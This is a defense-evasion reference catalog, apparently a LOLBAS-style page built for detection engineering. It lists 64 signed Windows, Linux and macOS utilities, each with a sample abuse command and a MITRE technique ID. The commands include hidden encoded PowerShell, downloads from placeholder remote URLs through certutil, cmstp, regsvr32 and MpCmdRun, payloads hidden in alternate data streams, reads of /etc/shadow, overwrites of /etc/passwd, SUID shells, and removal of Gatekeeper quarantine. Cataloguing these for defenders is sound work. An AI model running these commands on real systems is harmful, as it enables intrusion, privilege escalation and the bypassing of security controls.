Defense EvasionTactic: Defense Evasion (TA0005)64 Verified Binaries

Defense Evasion LOLBins: AppLocker & Antivirus Bypasses

Defense evasion LOLBins bypass endpoint security controls, Application Whitelisting (AppLocker/WDAC), and script restrictions by executing code through digitally signed, trusted Microsoft or Unix utilities.

Detection Engineering Context

Adversaries invoke signed proxies such as installutil.exe, msbuild.exe, regsvr32.exe, or Alternate Data Streams (ADS) to bypass security software inspection.

Key Log Telemetry: Sysmon Event ID 7 (Image Loaded) for unapproved DLLs, and Process Creation with obfuscated command-line flags.
Total Capable Binaries: 64
Windows: 55
Linux: 4
macOS: 5

Catalog of Defense Evasion LOLBins

Displaying 64 items
Windows1 weaponized tactics

certutil.exe

Certutil.exe is a command-line program installed as part of Certificate Services. Attackers frequently abuse it to download arbitrary files from remote URLs, encode/decode Base64 payloads to evade detection, and hash files.

Sample Vector:
certutil.exe -decode %TEMP%\encoded.txt %TEMP%\beacon.exe
T1105T1140
Windows1 weaponized tactics

powershell.exe

PowerShell is a powerful task automation framework and scripting engine. Widely abused by threat actors for in-memory execution (fileless malware), credential dumping, remote command execution, and AMSI bypasses.

Sample Vector:
powershell.exe -noni -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
T1059.001T1105
Windows1 weaponized tactics

Applaunch.exe

Microsoft .NET ClickOnce Launch Utility.

Sample Vector:
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"
T1127.002
Windows1 weaponized tactics

Aspnet_Compiler.exe

ASP.NET Compilation Tool

Sample Vector:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u
T1127
Windows1 weaponized tactics

Bash.exe

File used by Windows subsystem for Linux

Sample Vector:
bash.exe -c "{CMD}"
T1202T1218
Windows2 weaponized tactics

Cmd.exe

The command-line interpreter in Windows

Sample Vector:
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
T1564.004T1059.003T1105
Windows1 weaponized tactics

Cmstp.exe

Installs or removes a Connection Manager service profile.

Sample Vector:
cmstp.exe /ni /s {REMOTEURL:.inf}
T1218.003
Windows1 weaponized tactics

Control.exe

Binary used to launch controlpanel items in Windows

Sample Vector:
control.exe {PATH_ABSOLUTE}:evil.dll
T1218.002
Windows1 weaponized tactics

Dfsvc.exe

ClickOnce engine in Windows used by .NET

Sample Vector:
rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}
T1127.002
Windows1 weaponized tactics

Diantz.exe

Binary that package existing files into a cabinet (.cab) file

Sample Vector:
diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab
T1564.004T1105T1036
Windows3 weaponized tactics

Esentutl.exe

Binary for working with Microsoft Joint Engine Technology (JET) database

Sample Vector:
esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /o
T1105T1564.004T1003.003
Windows1 weaponized tactics

Expand.exe

Binary that expands one or more compressed files

Sample Vector:
expand {PATH_SMB:.bat} {PATH_ABSOLUTE}:file.bat
T1105T1564.004
Windows2 weaponized tactics

Extrac32.exe

Extract to ADS, copy or overwrite a file with Extrac32.exe

Sample Vector:
extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe
T1564.004T1105
Windows2 weaponized tactics

Findstr.exe

Write to ADS, discover, or download files with Findstr.exe

Sample Vector:
findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe
T1564.004T1552.001T1105
Windows1 weaponized tactics

Forfiles.exe

Selects and executes a command on a file or set of files. This command is useful for batch processing.

Sample Vector:
forfiles /p c:\windows\system32 /m notepad.exe /c "{PATH_ABSOLUTE}:evil.exe"
T1202T1564.004
Windows1 weaponized tactics

Installutil.exe

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

Sample Vector:
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}
T1218.004T1105
Windows2 weaponized tactics

Makecab.exe

Binary to package existing files into a cabinet (.cab) file

Sample Vector:
makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cab
T1564.004T1105T1036
Windows1 weaponized tactics

Mavinject.exe

Used by App-v in Windows

Sample Vector:
Mavinject.exe 4172 /INJECTRUNNING {PATH_ABSOLUTE}:file.dll
T1218.013T1564.004
Windows1 weaponized tactics

Microsoft.Workflow.Compiler.exe

A utility included with .NET that is capable of compiling and executing C# or VB.net code.

Sample Vector:
Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}
T1127
Windows1 weaponized tactics

MpCmdRun.exe

Binary part of Windows Defender. Used to manage settings in Windows Defender

Sample Vector:
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe
T1105T1564.004
Windows1 weaponized tactics

Msbuild.exe

Used to compile and execute code

Sample Vector:
msbuild.exe {PATH:.xml}
T1127.001T1036
Windows2 weaponized tactics

Msdt.exe

Microsoft diagnostics tool

Sample Vector:
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE
T1218T1202
Windows1 weaponized tactics

Print.exe

Used by Windows to send files to the printer

Sample Vector:
print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}
T1564.004T1105
Windows1 weaponized tactics

PrintBrm.exe

Printer Migration Command-Line Tool

Sample Vector:
PrintBrm -r -f {PATH_ABSOLUTE}:hidden.zip -d {PATH_ABSOLUTE:folder}
T1105T1564.004
Windows1 weaponized tactics

Reg.exe

Used to manipulate the registry

Sample Vector:
reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg
T1564.004T1003.002
Windows1 weaponized tactics

Regasm.exe

Part of .NET

Sample Vector:
regasm.exe {PATH:.dll}
T1218.009
Windows2 weaponized tactics

Regedit.exe

Used by Windows to manipulate registry

Sample Vector:
regedit /E {PATH_ABSOLUTE}:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
T1564.004
Windows1 weaponized tactics

Regini.exe

Used to manipulate the registry

Sample Vector:
regini.exe {PATH}:hidden.ini
T1564.004
Windows1 weaponized tactics

Regsvcs.exe

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies

Sample Vector:
regsvcs.exe {PATH:.dll}
T1218.009
Windows2 weaponized tactics

Sc.exe

Used by Windows to manage services

Sample Vector:
sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice
T1564.004
Windows2 weaponized tactics

Tar.exe

Used by Windows to extract and create archives.

Sample Vector:
tar -cf {PATH}:ads {PATH_ABSOLUTE:folder}
T1564.004T1105
Windows1 weaponized tactics

winget.exe

Windows Package Manager tool

Sample Vector:
winget.exe install --accept-package-agreements -s msstore {name or ID}
T1105
Windows2 weaponized tactics

Wscript.exe

Used by Windows to execute scripts

Sample Vector:
wscript //e:vbscript {PATH}:script.vbs
T1564.004
Windows2 weaponized tactics

Advpack.dll

Utility for installing software and drivers with rundll32.exe

Sample Vector:
rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,
T1218.011
Windows1 weaponized tactics

Dfshim.dll

ClickOnce engine in Windows used by .NET

Sample Vector:
rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}
T1127.002
Windows2 weaponized tactics

Ieadvpack.dll

INF installer for Internet Explorer. Has much of the same functionality as advpack.dll.

Sample Vector:
rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},DefaultInstall_SingleUser,1,
T1218.011
Windows1 weaponized tactics

Setupapi.dll

Windows Setup Application Programming Interface

Sample Vector:
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}
T1218.011
Windows1 weaponized tactics

Syssetup.dll

Windows NT System Setup

Sample Vector:
rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}
T1218.011
Windows1 weaponized tactics

winrm.vbs

Script used for manage Windows RM settings

Sample Vector:
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
T1216T1220
Windows1 weaponized tactics

AccCheckConsole.exe

Verifies UI accessibility requirements

Sample Vector:
AccCheckConsole.exe -window "Untitled - Notepad" {PATH_ABSOLUTE:.dll}
T1218
Windows3 weaponized tactics

Bginfo.exe

Background Information Utility included with SysInternals Suite

Sample Vector:
bginfo.exe {PATH:.bgi} /popup /nolicprompt
T1218
Windows1 weaponized tactics

coregen.exe

Binary coregen.exe (Microsoft CoreCLR Native Image Generator) loads exported function GetCLRRuntimeHost from coreclr.dll or from .DLL in arbitrary path. Coregen is located within "C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\" or another version of Silverlight. Coregen is signed by Microsoft and bundled with Microsoft Silverlight.

Sample Vector:
coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name
T1055T1218
Windows2 weaponized tactics

Dotnet.exe

dotnet.exe comes with .NET Framework

Sample Vector:
dotnet.exe {PATH:.dll}
T1218T1059
Windows2 weaponized tactics

Fsi.exe

64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK.

Sample Vector:
fsi.exe {PATH:.fsscript}
T1059
Windows2 weaponized tactics

FsiAnyCpu.exe

32/64-bit FSharp (F#) Interpreter included with Visual Studio.

Sample Vector:
fsianycpu.exe {PATH:.fsscript}
T1059
Windows1 weaponized tactics

Msdeploy.exe

Microsoft tool used to deploy Web Applications.

Sample Vector:
msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="{PATH_ABSOLUTE:.bat}"
T1218T1105
Windows3 weaponized tactics

msxsl.exe

Command line utility used to perform XSL transformations.

Sample Vector:
msxsl.exe {PATH:.xml} {PATH:.xsl}
T1220T1105T1564
Windows1 weaponized tactics

rcsi.exe

Non-Interactive command line inerface included with Visual Studio.

Sample Vector:
rcsi.exe {PATH:.csx}
T1127
Windows1 weaponized tactics

Remote.exe

Debugging tool included with Windows Debugging Tools

Sample Vector:
Remote.exe /s {PATH:.exe} anythinghere
T1127
Windows2 weaponized tactics

Squirrel.exe

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Sample Vector:
squirrel.exe --update {REMOTEURL}
T1218
Windows1 weaponized tactics

Tracker.exe

Tool included with Microsoft .Net Framework.

Sample Vector:
Tracker.exe /d {PATH:.dll} /c C:\Windows\write.exe
T1127
Windows5 weaponized tactics

Update.exe

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Sample Vector:
Update.exe --update={REMOTEURL}
T1218T1547T1070
Windows1 weaponized tactics

VisualUiaVerifyNative.exe

A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls.

Sample Vector:
VisualUiaVerifyNative.exe
T1218
Windows1 weaponized tactics

vstest.console.exe

VSTest.Console.exe is the command-line tool to run tests

Sample Vector:
vstest.console.exe {PATH:.dll}
T1127
Windows1 weaponized tactics

Wfc.exe

The Workflow Command-line Compiler tool is included with the Windows Software Development Kit (SDK).

Sample Vector:
wfc.exe {PATH_ABSOLUTE:.xoml}
T1127
Linux1 weaponized tactics

base64

Base64 encodes or decodes standard input or files to standard output. Attackers abuse it to read sensitive files without user permissions (when SUID) or decode obfuscated payload stages.

Sample Vector:
base64 /etc/shadow | base64 --decode
T1005T1140
Linux1 weaponized tactics

cp

GNU cp copies files. When configured with SUID permissions, attackers can overwrite system authentication files like /etc/passwd or copy binaries with elevated attributes.

Sample Vector:
cp /tmp/passwd_modified /etc/passwd
T1565.001T1548.001
Linux1 weaponized tactics

chmod

Chmod alters file mode bits. SUID or sudo chmod is abused to turn standard shells into persistent SUID root binaries by adding the 4755 permission bit.

Sample Vector:
chmod 4755 /bin/dash
T1548.001
Linux1 weaponized tactics

chown

Chown changes file owner and group. SUID chown allows users to claim ownership of root-owned scripts or binaries and subsequently modify them.

Sample Vector:
chown $(id -u):$(id -g) /etc/shadow
T1548.001
macOS1 weaponized tactics

pkgutil

Pkgutil queries and extracts installer packages. Attackers use pkgutil --expand to decompress package payloads and extract scripts without triggering installation gatekeeper checks.

Sample Vector:
pkgutil --expand /tmp/installer.pkg /tmp/extracted_pkg
T1218
macOS1 weaponized tactics

tccutil

Tccutil manages the Transparency, Consent, and Control (TCC) privacy database. Attackers reset permissions for applications to force prompt re-evaluation or test TCC bypasses.

Sample Vector:
tccutil reset All com.apple.Terminal
T1562.001
macOS1 weaponized tactics

networksetup

Networksetup configures macOS network preferences. Attackers abuse it to configure rogue HTTP web proxies or reassign DNS servers to malicious resolvers.

Sample Vector:
networksetup -setwebproxy "Wi-Fi" 127.0.0.1 8080
T1556T1562.001
macOS1 weaponized tactics

ditto

Ditto copies directories while preserving extended attributes, HFS metadata, and resource forks. Attackers use it to archive sensitive folders prior to exfiltration.

Sample Vector:
ditto -c -k --sequesterRsrc /Users/victim/Documents /tmp/docs.zip
T1560.001
macOS1 weaponized tactics

xattr

Xattr displays and modifies extended filesystem attributes. Attackers execute xattr -d com.apple.quarantine on downloaded malware to bypass Gatekeeper execution blocks.

Sample Vector:
xattr -d com.apple.quarantine /path/to/implant.app
T1553.001
Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point